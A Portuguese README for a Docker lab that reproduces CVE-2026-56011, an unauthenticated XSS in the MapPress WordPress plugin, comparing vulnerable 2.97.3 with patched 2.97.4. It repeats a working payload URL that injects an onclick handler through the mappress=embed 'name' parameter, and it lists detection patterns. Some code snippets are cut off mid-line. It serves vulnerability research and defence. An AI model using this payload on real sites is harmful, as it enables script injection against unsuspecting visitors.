rootdirective-sec/cve-2026-56011-labLaboratório baseado em Docker para reproduzir e validar CVE-2026-56011, uma vulnerabilidade XSS não autenticada no MapPress Maps for WordPress, com alvos de comparação vulnerável e corrigido.
Este repositório contém um laboratório Docker local para reproduzir e validar a CVE-2026-56011, uma vulnerabilidade de Cross-Site Scripting não autenticado que afeta o MapPress Maps for WordPress.
MapPress Maps for WordPress é um plugin do WordPress usado para renderizar mapas dentro de páginas e posts do WordPress. O comportamento vulnerável afeta o caminho de renderização de mapas iframe que é acessível através do parâmetro de requisição mappress=embed.
Este laboratório compara duas versões do MapPress:
| Serviço | Versão do MapPress | Propósito | URL |
|---|
| vuln | 2.97.3 | Alvo vulnerável de comparação | http://localhost:8081 |
| patched | 2.97.4 | Alvo corrigido de comparação | http://localhost:8082 |
O caminho de validação demonstrado neste laboratório local é:```text Unauthenticated browser request → GET /?mappress=embed → request supplies a crafted name value → vulnerable target renders name into an unquoted id attribute → injected onclick handler becomes a standalone HTML attribute → clicking the rendered MapPress component triggers alert(1) → patched target keeps the payload inside a quoted and escaped id attribute → clicking the rendered component does not trigger alert(1)
O alvo vulnerável utiliza este URL manual do navegador:```text
http://localhost:8081/?mappress=embed&name=cve56011%20onclick%3Dalert%281%29&width=400px&height=300px&zoom=5¢er=0%2C0
Resultado vulnerável esperado:```text Click on the rendered MapPress component → alert(1) pops up
O alvo corrigido usa o mesmo payload contra o MapPress 2.97.4:```text
http://localhost:8082/?mappress=embed&name=cve56011%20onclick%3Dalert%281%29&width=400px&height=300px&zoom=5¢er=0%2C0
Resultado corrigido esperado:```text Click on the rendered MapPress component → no alert appears
Este laboratório utiliza intencionalmente apenas validação manual no navegador. Ele não inclui script de PoC, automação de navegador, roubo de credenciais, callbacks externos, malware, persistência, atividade pós-exploração ou ataques contra sistemas externos.
## Factos Verificados
| Afirmação | Evidência | Como verificar neste laboratório |
| ----------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------- |
| O CVE-2026-56011 afeta o MapPress Maps para WordPress. | Avisos públicos de vulnerabilidade identificam o plugin WordPress afetado como MapPress Maps para WordPress. | Consulte a secção Referências e inspecione o plugin instalado em ambos os alvos Docker. |
| A versão vulnerável de comparação neste laboratório é MapPress 2.97.3. | O serviço `vuln` constrói o plugin utilizando `MAPPRESS_VERSION: 2.97.3`. | Inspecione `docker-compose.yml` e `vuln/Dockerfile`. |
| A versão corrigida de comparação neste laboratório é MapPress 2.97.4. | O serviço `patched` constrói o plugin utilizando `MAPPRESS_VERSION: 2.97.4`. | Inspecione `docker-compose.yml` e `patched/Dockerfile`. |
| O MapPress 2.97.4 introduziu a correção relevante de escape no iframe. | O changelog oficial do plugin para 2.97.4 diz `Added: escape in iframe`. | Consulte o changelog oficial do plugin WordPress e compare o código fonte vulnerável e corrigido. |
| O código fonte vulnerável insere o nome do mapa no `id` do componente web sem aspas. | No 2.97.3, `mappress_map.php` renderiza `<mappress-map id={$name} ...>`. | Compare o código fonte 2.97.3 com o código fonte 2.97.4. |
| O código fonte corrigido coloca o valor `id` entre aspas e aplica escape. | No 2.97.4, `mappress_map.php` renderiza `id="` com `esc_attr($name)`. | Compare o diff do patch entre 2.97.3 e 2.97.4. |
| O caminho do iframe é acessível sem autenticação. | O MapPress regista `template_redirect` quando `$_GET['mappress']` está presente. | Solicite `/?mappress=embed...` a partir de um navegador sem iniciar sessão. |
| O caminho do iframe lê os atributos do mapa a partir do pedido. | `template_redirect()` mapeia `$_GET` para argumentos do mapa e chama o renderizador do iframe. | Inspecione `mappress.php` e reproduza o URL manual. |
| O alvo vulnerável permite injeção de atributos através de `name`. | O valor do nome criado pode escapar do atributo `id` sem aspas e tornar-se `onclick=alert(1)`. | Abra o URL manual vulnerável e clique no componente MapPress renderizado. |
| O alvo corrigido bloqueia o comportamento de injeção de atributos testado. | O resultado corrigido mantém a carga útil completa dentro do atributo `id` entre aspas. | Abra o URL manual corrigido e clique no componente MapPress renderizado. |
## Suposições e Incógnitas
Este laboratório utiliza o MapPress 2.97.3 como alvo vulnerável de comparação porque avisos públicos identificam versões até e incluindo 2.97.3 como afetadas, e o diff do código fonte mostra a renderização vulnerável do atributo sem aspas nessa versão.
Este laboratório utiliza o MapPress 2.97.4 como alvo corrigido de comparação porque avisos públicos identificam 2.97.4 como a versão corrigida, e o changelog oficial afirma que o escape foi adicionado no caminho do iframe.
O comportamento vulnerável testado é o caminho de renderização do iframe não autenticado:```text
GET /?mappress=embed&name=<crafted-value>
Este laboratório foca na execução manual no navegador de um payload de alerta inofensivo:```text name=cve56011 onclick=alert(1)
O laboratório não tenta provar uma cadeia de entrega armazenada. Alguns avisos públicos classificam a vulnerabilidade como XSS armazenado. Este repositório foca no sink de renderização de iframe confirmado pela fonte e no comportamento vulnerável versus corrigido que pode ser reproduzido localmente através da rota não autenticada `mappress=embed`.
O laboratório não demonstra:
* persistência de payload armazenado,
* comprometimento de conta WordPress,
* roubo de sessão de administrador,
* roubo de nonce,
* callbacks externos,
* coleta cega de XSS,
* roubo de credenciais,
* despejo de banco de dados,
* malware,
* persistência,
* ou ataques contra sistemas não laboratoriais.
A validação manual do navegador comprova a diferença de renderização relevante para a segurança:```text
MapPress 2.97.3:
crafted name value becomes executable onclick attribute
MapPress 2.97.4:
crafted name value remains inside the quoted id attribute
A causa raiz do CVE-2026-56011 é a codificação de saída incorreta para o valor name do mapa quando o MapPress renderiza um componente web dentro do caminho de saída do mapa iframe.
O caminho do código vulnerável aceita atributos de renderização do mapa da requisição e eventualmente renderiza um elemento HTML personalizado:```html <mappress-map ...>
Em MapPress 2.97.3, o nome do mapa é inserido diretamente no atributo `id` sem aspas e sem escape de contexto de atributo:```php
return "<div></div>\r\n<mappress-map id={$name} {$atts}>\r\n$pois\r\n</mappress-map>\r\n";
Isto é inseguro porque o valor é usado em um contexto de atributo HTML. Se o atacante controlar name, um valor contendo um espaço pode terminar o valor pretendido de id e introduzir um novo atributo.
O comportamento vulnerável pode ser resumido como:```text Attacker sends unauthenticated iframe request → name = cve56011 onclick=alert(1) → MapPress sanitizes the value as text → sanitized text is still unsafe for an unquoted HTML attribute → renderer outputs id=cve56011 onclick=alert(1) → onclick becomes a standalone event handler attribute → user clicks the rendered component → JavaScript executes
O ponto importante é que a sanitização geral de texto não é o mesmo que o escape correto de saída.
O código vulnerável usa `sanitize_text_field()` no nome do mapa, mas isso não torna o valor seguro para um atributo HTML sem aspas. Espaços continuam tendo significado em atributos HTML porque eles separam um atributo do próximo.
O problema de segurança é, portanto:```text
User-controlled input
+ unquoted HTML attribute context
+ missing esc_attr()
= attribute injection and XSS
A versão corrigida altera a renderização para colocar entre aspas e escapar o valor id:```php
return "
O comportamento corrigido pode ser resumido como:```text
Attacker sends the same crafted name value
→ MapPress renders id="cve56011 onclick=alert(1)"
→ onclick remains text inside the id value
→ no standalone event handler attribute is created
→ clicking the component does not execute alert(1)
A lição de segurança é:```text Sanitize on input if needed, but always escape on output for the exact output context. For HTML attributes in WordPress, use esc_attr() and quote attribute values.
## Análise do Código Fonte
O problema em nível de código-fonte foi confirmado comparando MapPress 2.97.3 e MapPress 2.97.4.
O principal sumidouro de renderização está em:```text
mappress_map.php
A versão vulnerável renderiza o valor de name como um atributo id sem aspas:```php
$name = (isset($vars['name']) ? $vars['name'] : 'noname');
return "
A versão corrigida coloca o atributo entre aspas e escapa o valor:```php
$name = (isset($vars['name']) ? $vars['name'] : 'noname');
return "<div></div>\r\n<mappress-map id=\"" . esc_attr($name) . "\" {$atts}>\r\n$pois\r\n</mappress-map>\r\n";
A rota iframe é registrada quando a requisição contém o parâmetro de consulta mappress:```php
if (isset($_GET['mappress']))
add_action('template_redirect', array(CLASS, 'template_redirect'));
O manipulador de requisições iframe mapeia os parâmetros de consulta em argumentos de mapa:```php
$args = array_map(function($arg) {
if ($arg == 'true')
return true;
if ($arg == 'false')
return false;
return $arg;
}, $_GET);
O handler então cria ou carrega um objeto map e o atualiza com os argumentos da requisição:```php $map = new Mappress_Map(); $map->update($args); $map->layout = 'left'; echo self::get_iframe($map); die();
O auxiliar iframe renderiza o conteúdo do mapa:```php
$content = $map->display(null, true);
O caminho display() preserva um valor name fornecido não vazio:```php
if (empty($this->name)) {
$this->name = (defined('DOING_AJAX') && DOING_AJAX) ? "mapp" . uniqid() : "mapp$div";
$div++;
}
Isto significa que o valor `name` fornecido pela requisição pode alcançar o sink de renderização vulnerável.
O fluxo relevante para a segurança é:```text
GET parameter name
→ $_GET
→ template_redirect()
→ $map->update($args)
→ $this->name
→ display()
→ display_web_component()
→ to_html()
→ <mappress-map id={$name} ...>
O restante dos atributos do mapa gerado são processados através de um helper que cita os atributos. A renderização vulnerável do id é especial porque o name é extraído e renderizado separadamente.
Isso torna a superfície vulnerável estreita e fácil de validar:```text Only the web component id rendering needs to be compared. The vulnerable version renders id without quotes. The patched version renders id with quotes and esc_attr().
## Resumo do Patch de Origem
MapPress 2.97.4 corrige o comportamento vulnerável de renderização de iframe ao citar e escapar o valor do atributo `id` para o elemento gerado `<mappress-map>`.
O padrão de saída vulnerável é:```html
<mappress-map id=cve56011 onclick=alert(1) ...>
Nesta saída, o navegador analisa:```text id = cve56011 onclick = alert(1)
O padrão de saída corrigido é:```html
<mappress-map id="cve56011 onclick=alert(1)" ...>
Nesta saída, o navegador analisa:```text id = cve56011 onclick=alert(1)
Nenhum atributo `onclick` independente é criado.
O patch relevante para segurança é:```text
Before:
id={$name}
After:
id="<escaped name>"
A correção em nível de código-fonte é pequena, mas o impacto na segurança é significativo porque o caminho afetado é acessível sem autenticação através do endpoint de incorporação de iframe.
Este laboratório mantém a revisão de código-fonte e a validação em tempo de execução separadas:```text Source patch review: explains why the vulnerable version can create an executable event handler attribute.
Manual browser validation: proves that the vulnerable target can execute alert(1) and the patched target does not.
## Arquitetura do Laboratório
O laboratório executa dois alvos WordPress isolados através do Docker Compose.```text
.
├── docker-compose.yml
├── patched/
│ └── Dockerfile
├── vuln/
│ └── Dockerfile
├── README.md
└── .gitignore
Intencionalmente não existe diretório poc/. A validação é manual e baseada em navegador.
Os dois serviços WordPress usam bancos de dados separados e volumes WordPress separados:
| Serviço | Componente | Versão / Função |
|---|---|---|
| db-vuln | MariaDB | banco de dados para WordPress vulnerável |
| db-patched | MariaDB | banco de dados para WordPress corrigido |
| vuln | WordPress | alvo vulnerável com MapPress 2.97.3 |
| patched | WordPress | alvo corrigido com MapPress 2.97.4 |
| wpcli-vuln | WP-CLI | instala o WordPress e ativa o plugin |
| wpcli-patched | WP-CLI | instala o WordPress e ativa o plugin |
Serviços expostos padrão:```text Vulnerable target: http://localhost:8081 Patched target: http://localhost:8082
O laboratório usa versões fixas do plugin MapPress:
| Alvo | Versão do MapPress | Comportamento esperado |
| --------------------- | -----------------: | --------------------------------------------------------- |
| http://localhost:8081 | 2.97.3 | clicar no componente criado aciona alert(1) |
| http://localhost:8082 | 2.97.4 | clicar no componente criado não aciona alert(1) |
A construção Docker baixa o ZIP exato do plugin para cada alvo do endpoint oficial de download de plugins do WordPress:```text
https://downloads.wordpress.org/plugin/mappress-google-maps-for-wordpress.2.97.3.zip
https://downloads.wordpress.org/plugin/mappress-google-maps-for-wordpress.2.97.4.zip
Os serviços WP-CLI são executados automaticamente durante a inicialização do laboratório. Eles instalam o WordPress e ativam o MapPress em cada alvo.
O laboratório não cria nem modifica a rota vulnerável do MapPress. A rota é fornecida pela versão real do plugin MapPress instalada em cada alvo.
Nenhuma dependência Python é necessária.
Nenhum script PoC é necessário.
Nenhum login do WordPress é necessário para a validação manual de XSS.
Inicie o laboratório a partir de um estado limpo:```bash docker compose down -v --remove-orphans docker compose up -d --build
Verifique o status do serviço:```bash
docker compose ps
Serviços esperados em execução:```text db-vuln db-patched vuln patched
Alvos expostos esperados:```text
http://localhost:8081
http://localhost:8082
Verifique se a instalação do WordPress e a ativação do plugin foram concluídas:```bash docker compose logs wpcli-vuln wpcli-patched
Mensagens esperadas de configuração:```text
Success: WordPress installed successfully.
Plugin 'mappress-google-maps-for-wordpress' activated.
vuln setup complete
Success: WordPress installed successfully.
Plugin 'mappress-google-maps-for-wordpress' activated.
patched setup complete
Após a configuração estar concluída, a página de login do WordPress deve retornar HTTP 200:```bash
curl -i http://localhost:8081/wp-login.php | head
curl -i http://localhost:8082/wp-login.php | head
Se a página raiz redirecionar temporariamente para `/wp-admin/install.php`, a configuração do WP-CLI pode ainda estar sendo finalizada. Aguarde até que os logs `wpcli-vuln` e `wpcli-patched` mostrem as mensagens de configuração completa e, em seguida, tente novamente.
## Validação Manual de XSS por Alerta
Nenhum script PoC está incluído.
Nenhum login é necessário.
### Alvo Vulnerável
Abra esta URL em um navegador:```text
http://localhost:8081/?mappress=embed&name=cve56011%20onclick%3Dalert%281%29&width=400px&height=300px&zoom=5¢er=0%2C0
Clique no componente MapPress renderizado.
Resultado vulnerável esperado:```text alert(1) pops up
Significado de segurança:```text
The crafted name value escaped the intended id attribute value and became a standalone onclick event handler.
O comportamento vulnerável interpretado pelo navegador é equivalente a:```html <mappress-map id=cve56011 onclick=alert(1) ...>
O navegador trata isto como:```text
id = cve56011
onclick = alert(1)
Quando o componente é clicado, o manipulador de eventos é executado.
Abra esta URL em um navegador:```text http://localhost:8082/?mappress=embed&name=cve56011%20onclick%3Dalert%281%29&width=400px&height=300px&zoom=5¢er=0%2C0
Clique no componente MapPress renderizado.
Resultado corrigido esperado:```text
No alert appears.
Significado de segurança:```text The crafted onclick payload is kept inside the quoted id attribute and does not become a standalone event handler.
O comportamento corrigido analisado pelo navegador é equivalente a:```html
<mappress-map id="cve56011 onclick=alert(1)" ...>
O navegador trata isto como:```text id = cve56011 onclick=alert(1)
Nenhum atributo `onclick` executável é criado.
## Resultados Esperados
### Alvo Vulnerável
URL do navegador manual:```text
http://localhost:8081/?mappress=embed&name=cve56011%20onclick%3Dalert%281%29&width=400px&height=300px&zoom=5¢er=0%2C0
Resultado esperado após clicar no componente renderizado:```text alert(1) pops up
Classificação esperada:```text
VULNERABLE_BEHAVIOR_OBSERVED
O sinal vulnerável importante é:```text MapPress 2.97.3
### Alvo Corrigido
URL manual do navegador:```text
http://localhost:8082/?mappress=embed&name=cve56011%20onclick%3Dalert%281%29&width=400px&height=300px&zoom=5¢er=0%2C0
Resultado esperado após clicar no componente renderizado:```text No alert appears.
Classificação esperada:```text
BLOCKED_BEHAVIOR_OBSERVED
O sinal corrigido importante é:```text MapPress 2.97.4
## Como a Validação Funciona
A validação manual envia uma solicitação do navegador para o caminho de renderização do iframe do MapPress:```text
/?mappress=embed
A requisição inclui um valor name criado:```text
cve56011 onclick=alert(1)
A requisição vulnerável completa é:```text
http://localhost:8081/?mappress=embed&name=cve56011%20onclick%3Dalert%281%29&width=400px&height=300px&zoom=5¢er=0%2C0
O pedido completo corrigido é:```text http://localhost:8082/?mappress=embed&name=cve56011%20onclick%3Dalert%281%29&width=400px&height=300px&zoom=5¢er=0%2C0
No MapPress 2.97.3, o valor de `name` é inserido em um atributo `id` sem aspas:```html
<mappress-map id=cve56011 onclick=alert(1) ...>
Porque o atributo não está entre aspas, o espaço após cve56011 inicia um novo atributo.
O navegador interpreta a saída como:```text id="cve56011" onclick="alert(1)"
Quando o componente renderizado é clicado, o manipulador de eventos injetado é executado.
No MapPress 2.97.4, o mesmo valor é escapado e citado:```html
<mappress-map id="cve56011 onclick=alert(1)" ...>
O navegador interpreta toda a carga útil como um único valor de id.
Nenhum manipulador de eventos é criado.
A validação é intencionalmente manual porque o objetivo é mostrar diretamente o comportamento XSS visível no navegador:```text vulnerable target → click → alert(1)
patched target → click → no alert
## Reprodução Manual no Navegador
Inicie o laboratório:```bash
docker compose down -v --remove-orphans
docker compose up -d --build
Aguarde a conclusão da configuração:```bash docker compose logs wpcli-vuln wpcli-patched
Conclusão esperada da configuração:```text
vuln setup complete
patched setup complete
Abra o alvo vulnerável:```text http://localhost:8081/?mappress=embed&name=cve56011%20onclick%3Dalert%281%29&width=400px&height=300px&zoom=5¢er=0%2C0
Clique no componente MapPress renderizado.
Resultado esperado:```text
alert(1)
Abra o alvo corrigido:```text http://localhost:8082/?mappress=embed&name=cve56011%20onclick%3Dalert%281%29&width=400px&height=300px&zoom=5¢er=0%2C0
Clique no componente MapPress renderizado.
Resultado esperado:```text
No alert
Evidência de captura de tela recomendada para um relato de portfólio:```text
## Impacto
CVE-2026-56011 é sensível à segurança porque um atacante não autenticado pode criar uma URL de iframe do MapPress que injeta JavaScript no componente de mapa renderizado.
O impacto potencial no mundo real depende de como a URL maliciosa é entregue e qual usuário a abre.
O possível impacto pode incluir:
* execução de JavaScript controlado pelo atacante no navegador da vítima,
* phishing ou manipulação de interface do usuário dentro da origem WordPress afetada,
* acesso a dados não-HttpOnly de mesma origem,
* ações executadas como a vítima se condições adicionais da aplicação permitirem,
* roubo de tokens CSRF ou dados de página não protegidos,
* e abuso do contexto confiável do site WordPress.
Este laboratório demonstra apenas um payload de alerta local inofensivo:```text
onclick=alert(1)
O laboratório não demonstra roubo de sessão, roubo de credenciais, tomada de conta de administrador, carregamento malicioso de JavaScript externo, coleta de XSS cego ou ataques contra sites WordPress públicos.
O risco prático em produção depende de:
Indicadores potenciais incluem solicitações ao caminho de renderização do iframe do MapPress:```text GET /?mappress=embed
Parâmetros de consulta suspeitos podem incluir strings relacionadas a JavaScript no parâmetro `name`:```text
name=...onclick...
name=...onmouseover...
name=...onfocus...
name=...alert...
name=...script...
name=...javascript...
Ideia de detecção de alto sinal:```text HTTP request contains: mappress=embed AND name parameter contains an event handler pattern such as on*=
Exemplo de requisição suspeita:```text
GET /?mappress=embed&name=cve56011%20onclick%3Dalert%281%29&width=400px&height=300px&zoom=5¢er=0%2C0
Possíveis logs de servidor web ou telemetria para revisar:
mappress=embed,name,Ações de monitoramento recomendadas:
mappress=embed.%20onclick%3D.name.Atualize o MapPress Maps para WordPress para a versão 2.97.4 ou posterior.
A correção relevante altera a saída do mapa iframe para que o atributo id do componente web gerado seja entre aspas e escapado.
Comportamento relevante para segurança:```text Before: id={$name}
After: id=""
Medidas de mitigação recomendadas:
* Atualize o MapPress Maps for WordPress para 2.97.4 ou superior.
* Prefira a versão mais recente do plugin disponível, em vez de parar na versão de comparação do laboratório.
* Confirme que a versão instalada do plugin não está na faixa afetada.
* Limpe os caches de página e de CDN após a atualização.
* Revise os logs de acesso em busca de requisições suspeitas de `mappress=embed`.
* Pesquise nos logs por valores suspeitos do parâmetro `name`.
* Considere uma regra temporária de WAF para requisições `mappress=embed` que contenham manipuladores de eventos.
* Restrinja a exposição desnecessária da funcionalidade de administração do WordPress.
* Use uma Política de Segurança de Conteúdo restritiva onde for compatível.
* Mantenha o núcleo do WordPress, temas e plugins atualizados.
Lições de engenharia de segurança:
* Coloque todos os atributos HTML entre aspas.
* Escape a saída para o contexto exato de saída.
* Use `esc_attr()` para saída de atributos HTML no WordPress.
* Não confie em `sanitize_text_field()` como substituto para o escape de saída.
* Adicione testes de regressão para caminhos de renderização de iframe e shortcode.
* Revise a renderização de componentes web personalizados, pois tags personalizadas ainda seguem as regras normais de análise HTML.
## Limites de Segurança
Este laboratório é apenas para pesquisa local de segurança e demonstração controlada.
Não use a URL manual de XSS contra sistemas que você não possui ou não tem autorização explícita para testar.
Não use credenciais reais de produção, dados de clientes, dados de pagamento, chaves de API, credenciais de banco de dados ou segredos de produção neste laboratório.
O escopo pretendido é limitado a serviços Docker locais, tais como:```text
http://localhost:8081
http://localhost:8082
http://127.0.0.1:8081
http://127.0.0.1:8082
O payload manual é intencionalmente inofensivo:```text onclick=alert(1)
O laboratório não inclui payloads para:
* roubo de cookies,
* roubo de credenciais,
* roubo de token CSRF,
* abuso de ações de administrador,
* callbacks externos,
* coleta de XSS cego,
* malware,
* persistência,
* kits de phishing,
* exploração de navegador,
* movimento lateral,
* acesso a dados do cliente,
* ou ataques contra sistemas não laboratoriais.
O objetivo é demonstrar uma condição técnica específica em um ambiente controlado:```text
Unauthenticated iframe request
+ crafted name parameter
+ vulnerable target creates executable event handler attribute
+ patched target keeps payload inside quoted id attribute
Parar e remover contêineres, redes e volumes:```bash docker compose down -v --remove-orphans
Remova as imagens de laboratório construídas localmente, se desejar:```bash
docker image rm cve-2026-56011-vuln cve-2026-56011-patched
Verifique se não há contêineres do laboratório restantes:```bash docker compose ps
## Referências
* Registo CVE: CVE-2026-56011
https://www.cve.org/CVERecord?id=CVE-2026-56011
* NVD: CVE-2026-56011
https://nvd.nist.gov/vuln/detail/CVE-2026-56011
* Plugin WordPress: MapPress Maps for WordPress
https://wordpress.org/plugins/mappress-google-maps-for-wordpress/
* Changelog do Plugin WordPress: MapPress Maps for WordPress
https://wordpress.org/plugins/mappress-google-maps-for-wordpress/#developers
* Patchstack: MapPress Maps for WordPress <= 2.97.3 XSS
https://patchstack.com/database/wordpress/plugin/mappress-google-maps-for-wordpress/vulnerability/wordpress-mappress-maps-for-wordpress-plugin-2-97-3-cross-site-scripting-xss-vulnerability
* Wordfence Intelligence: MapPress Maps for WordPress <= 2.97.3
https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/mappress-google-maps-for-wordpress/
* Base de Dados de Vulnerabilidades WPScan: MapPress Maps for WordPress < 2.97.4
https://wpscan.com/vulnerability/
* Download do Plugin WordPress: MapPress 2.97.3
https://downloads.wordpress.org/plugin/mappress-google-maps-for-wordpress.2.97.3.zip
* Download do Plugin WordPress: MapPress 2.97.4
https://downloads.wordpress.org/plugin/mappress-google-maps-for-wordpress.2.97.4.zip